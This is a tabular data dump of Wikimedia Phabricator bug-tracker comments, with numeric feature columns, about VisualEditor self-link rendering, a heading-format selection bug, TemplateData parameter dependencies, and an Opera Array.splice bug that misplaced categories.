+[[https://gerrit.wikimedia.org/r/341774]]",,,1490864784,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,195,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+822881,VisualEditor: Links to current page should show as bold,"Change 342084 had a related patch set uploaded (by Jforrester):
+[mediawiki/extensions/VisualEditor] Render self-links as if they were <strong>s
+
+[[https://gerrit.wikimedia.org/r/342084]]
+",,,1489091254,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,192,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+821680,VisualEditor: Links to current page should show as bold,"Change 341775 had a related patch set uploaded (by Esanders):
+[mediawiki/extensions/VisualEditor] Render self-links as <strong class=""selflink"">, not <a ...>
+
+[[https://gerrit.wikimedia.org/r/341775]]
+",,,1488968700,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,192,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+821672,VisualEditor: Links to current page should show as bold,"Change 341774 had a related patch set uploaded (by Esanders):
+[VisualEditor/VisualEditor] Allow links to be constructed with custom elements
+
+[[https://gerrit.wikimedia.org/r/341774]]
+",,,1488968529,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,192,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+821669,VisualEditor: Links to current page should show as bold,">>! In T52497#561368, @Jdforrester-WMF wrote:
+> bug 37901
+
+aka T39901 in Phabricator numbering
+
+",,,1488968489,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,True,,,192,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1
+242789,VisualEditor: Links to current page should show as bold,"This will need bug 37901 (a general CSS hinting system for links) to be implemented, which is planned for later this quarter. Hinting that links should be red (non-existent), bold (current), purple (stubs), orange (redirects) etc. will need to be supported in that service.",,,1375235157,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+242783,VisualEditor: Links to current page should show as bold,"**crypticc62** wrote:
+
+For those who might be wondering why selflinks would ever appear in an article: Many pages make use of navigation boxes, such as Template:Extreme Sports. Each navbox usually links to all of the articles that it will be transcluded to. So, with several hundred navboxes, each appearing on at least a dozen pages, we can expect selflinks to appear on several thousand articles.",,,1375234921,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+52419,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","Suppose an article contains two lines in Paragraph formatting, and we want to turn the first one into Heading formatting. Select the entire first line (Cursor at beginning of line, Shift-CursorDown) then choose Heading formatting from the selection box at the top. Result: both lines are turned into Headings, not just the first. (Bold and italics formatting changes work correctly and affect only the current line.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1372508580,1704899273.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-jktlvnskifhm2sbbalki,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+2255132,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","Line with cursor gets heading(or other) formatting applied
+
+{F41659137}",,,1704734922,,PHID-USER-sbs2thr232mk3iv6jwal,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,False,,,549,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+2243513,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","Change 981374 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (402570007)%%%
+https://gerrit.wikimedia.org/r/981374",,,1701976844,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,False,,,544,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+2243447,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","Change 981374 had a related patch set uploaded (by Esanders; author: Esanders):
+%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (402570007)%%%
+https://gerrit.wikimedia.org/r/981374",,,1701971212,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,False,,,544,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+2243408,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","Change 980439 **merged** by jenkins-bot:
+%%%[VisualEditor/VisualEditor@master] Don't convert empty-selected paragraphs%%%
+https://gerrit.wikimedia.org/r/980439",,,1701968690,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,False,,,544,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+2241890,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","Change 980439 had a related patch set uploaded (by Esanders; author: Esanders):
+%%%[VisualEditor/VisualEditor@master] Don't convert empty-selected paragraphs%%%
+https://gerrit.wikimedia.org/r/980439",,,1701796908,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,False,,,544,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+609353,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","In Microsoft Word, both character-level styling and paragraph-level formatting are only applied to the one line that was selected either with Cursor-at-beginning-plus-Shift-Cursor-down or with a triple-click. In three of these four scenarios, VE behaves as Word.
+
+As far as I can see, applying character-level styling to a line selected with Cursor-at-beginning-plus-Shift-Cursor-down does not become a pre-annotation on the following line (neither in Word nor in VE): the styling is not applied if I insert text at the beginning of that line.",,,1455301413,,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,False,,,136,,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+238014,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)","This is the same behaviour as in other rich editors.
+
+By selecting in the manner you've stated (""Cursor at beginning of line, Shift-CursorDown"") you've selected the current text, the current line, AND the newline into the place before the first character.
+
+If you mark the text as bold (which is character-level) the boldness becomes a ""pre-annotation"" on the second line before the first character (so typing anything at that point will become bold).
+
+However, changing the format (rather than styling) of some text applies to the entire paragraph (because that's how HTML works) – i.e., the entire second line gets this applied.
+
+We could theoretically apply different behaviour for styling and formatting, so we apply over a newline for the first but not the second, but that might be more unexpected?",,,1385471045,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,True,,,21,,1,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+238009,"VisualEditor: Selection over a line (with shift-down) applies formatting changes to second line (where logical selection ends), not just first line (where visible selection ends)",This issue exists for all kind of formatting from the Headings pull-down menu.,,,1383081754,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-jktlvnskifhm2sbbalki,task_subcomment,,True,c1,3,False,,,17,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+52407,TemplateData: Add a way to express dependencies between parameters,"Add a way to mark a parameter to be dependent on an other paramter. For example :
+We have following parameters:
+""foo1_bar"", ""foo1_baz"", ""foo1_quux"" 
+...
+ ""fooN_bar"", ""fooN_baz"", ""fooN_quux""
+
+fooX_bar required fooX_baz to be used as well, it doesn't require fooX_quux to be used, but if fooX_quux is used, then fooX_bar must have been defined as well
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1372464000,,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-2xs7662hh3qdt5fonxnb,task_description,open,True,c1,2,False,False,,-1,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+1609624,TemplateData: Add a way to express dependencies between parameters,"The previous comments don't explain who or what (task?) exactly this task is stalled on ([""If a report is waiting for further input (e.g. from its reporter or a third party) and can currently not be acted on""](https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle)). Hence resetting task status, as tasks should not be stalled (and then potentially forgotten) for years for unclear reasons.
+
+//(Smallprint, as general orientation for task management:
+If you wanted to express that nobody is currently working on this task, then the assignee should be removed and/or priority could be lowered instead.
+If work on this task is blocked by another task, then that other task should be added via {nav name=Edit Related Tasks... > Edit Subtasks}.
+If this task is stalled on an upstream project, then the #upstream tag should be added.
+If this task requires info from the task reporter, then there should be instructions which info is needed.
+If this task needs retesting, then the #testme tag should be added.
+If this task is out of scope and nobody should ever work on this, or nobody else managed to reproduce the situation described here, then it should have the ""Declined"" status.
+If the task is valid but should not appear on some team's workboard, then the team project tag should be removed while the task has another active project tag.)//",,,1604270588,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,True,,,382,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+595840,TemplateData: Add a way to express dependencies between parameters,,,,1453561129,,PHID-USER-25bxvdt2svnidzfzjpk7,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,False,,,133,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+595839,TemplateData: Add a way to express dependencies between parameters,,,,1453561068,,PHID-USER-25bxvdt2svnidzfzjpk7,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,False,,,133,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+523747,TemplateData: Add a way to express dependencies between parameters,"Well, I have another case: In German Wikipedia we have Template:Charteintrag, where not only such dependencies are required (eg if “POS_xy” then also “WO_xy”), but even the parameter names depend heavily on earlier added parameters. If I enter 1=x and 2=y, the possible parameters following are POS_x (with WO_x) and POS_y (with WO_y), but of course not eg POS_z! At the moment TemplateData is totally useless with this template, I fear.",,,1441831007,,PHID-USER-zrh22rct2jo5hs6nu67r,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,False,,,114,,0,0,1,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+237343,TemplateData: Add a way to express dependencies between parameters,"[Moved from bug 60358 discussion.]
+
+(In reply to Helder from bug 60358 comment #10)
+> (In reply to James Forrester from bug 60358 comment #9)
+> > (In reply to Helder from bug 60358 comment #8)
+> > > (In reply to James Forrester from bug 60358 comment #6)
+> > > > (In reply to Ricordisamoa from bug 60358 comment #5)
+> > > > > or a set of fields may be mutually exclusive (and yet one of them would
+> > > > > be required).
+> > > > 
+> > > > That doesn't make sense. ""Required"" means ""the template will die horribly if
+> > > > you don't include this"". It is *not* a ""we'd like you to fill this in"" –
+> > > > that's what ""suggested"" is for. Most templates will have no 'required'
+> > > > fields.
+> > > 
+> > > It seems perfectly valid for a template to require that ""either A or B be
+> > > provided"" and the user should be able to delete one of them if it is not
+> > > needed.
+> > 
+> > This feels like a pretty edge case (and suggests that we should consider
+> > whether the template should be re-written to be less anti-human); maybe file
+> > a TemplateData bug to ask for a way to express this relationship?
+> 
+> This kind of relationship between parameters was requested on bug 50407.
+
+Well, as I see it, this bug only asks for param-level relationships – if A also B; if C not D; etc.
+
+Should we extend it for shared-param relationships (exactly one of A, B and C are required; D is an alias for E if F is set but is an alias for G if F is not set; …), or should we create a new bug? (BTW, this feels like a potentially ever-expanding system could be created, and we'd probably say this adds too much complexity for the value.)",,,1409778173,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,True,,,61,,1,0,1,1,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+237337,TemplateData: Add a way to express dependencies between parameters,"Change 73708 abandoned by Krinkle:
+Add depends and conflicts parameters
+
+Reason:
+Closing for now to clear review backlog. Can be re-activated when the feature request is accepted.
+
+https://gerrit.wikimedia.org/r/73708",,,1404942538,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,False,,,53,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+237330,TemplateData: Add a way to express dependencies between parameters,"at en.wp a user has given the example of [[template:for]] where parameter 3 is optional unless parameter 4 is specified, when it becomes mandatory.
+
+They expected that VisualEditor would give them a warning about using parameter 4 without parameter 3. Obviously this is not possible until TemplateData can define such relationships.",,,1377689591,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+237323,TemplateData: Add a way to express dependencies between parameters,"(In reply to comment #3)
+> Note that as for a parameter ""going together with"" other parameters, this is
+> what a ""Set"" is for.
+> 
+> Though Sets are merely suggestive and allow for overlap, it us a lot easier
+> to
+> work with from a user interface perspective.
+Set doesn't make any sense for parameters like ""author1, author2, ..., authorN""
+> 
+> Though TemplateData is generic and should not be tailored specific for
+> VisualEditor, right now I'd recommend we hold off on this change until we
+> find
+""depends"" and ""conflicts"" are pretty much not tailored for VE at all (Though I could agree, sets are).
+> out and/or verify that this can be properly represented in a user interface
+> without making it too complex.
+The most important thing is that common templates can be modeled correctly without ending up with too many false choices, or hiding true choices because they couldn't be modeled correctly.",,,1373912959,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+237315,TemplateData: Add a way to express dependencies between parameters,"Note that as for a parameter ""going together with"" other parameters, this is what a ""Set"" is for.
+
+Though Sets are merely suggestive and allow for overlap, it us a lot easier to work with from a user interface perspective.
+
+Though TemplateData is generic and should not be tailored specific for VisualEditor, right now I'd recommend we hold off on this change until we find out and/or verify that this can be properly represented in a user interface without making it too complex.",,,1373912431,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+237309,TemplateData: Add a way to express dependencies between parameters,"Change 73708 had a related patch set uploaded by AzaToth:
+Add depends and conflicts parameters
+
+https://gerrit.wikimedia.org/r/73708",,,1373830886,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+237303,TemplateData: Add a way to express dependencies between parameters,See also [[User:קיפודנחש/TemplateParamWizard#Depends on]].,,,1372589692,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-2xs7662hh3qdt5fonxnb,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+52385,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"https://en.wikipedia.org/w/index.php?title=Stand-your-ground_law&diff=562005779&oldid=561464750 is a good example (hat-tip to MatMaRex)
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50120",Low,25.0,1372445760,1374519751.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-poawg73ix2eh7lpylhyd,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+236136,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),Done and will be deployed tomorrow.,,,1374634250,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+236133,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),This should be fixed now. Rejoice!,,,1374519751,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+236129,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"Change 72233 merged by jenkins-bot:
+Array.prototype.splice polyfill for Opera
+
+https://gerrit.wikimedia.org/r/72233",,,1374518403,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+236125,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"Change 72233 had a related patch set uploaded by Matmarex:
+Array.prototype.splice polyfill for Opera
+
+https://gerrit.wikimedia.org/r/72233",,,1373066976,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+236121,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"function testSpliceBroken() {
+	var n = 256;
+	var a = [];
+	a[n] = 'a';
+	
+	a.splice( n+1, 0, 'b' );
+	
+	return a[n] != 'a';
+};
+
+This yields 'true' on Opera.
+
+That's probably the bizarrest browser bug I've ever seen, and it seems to be the root cause of this.",,,1373052337,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1
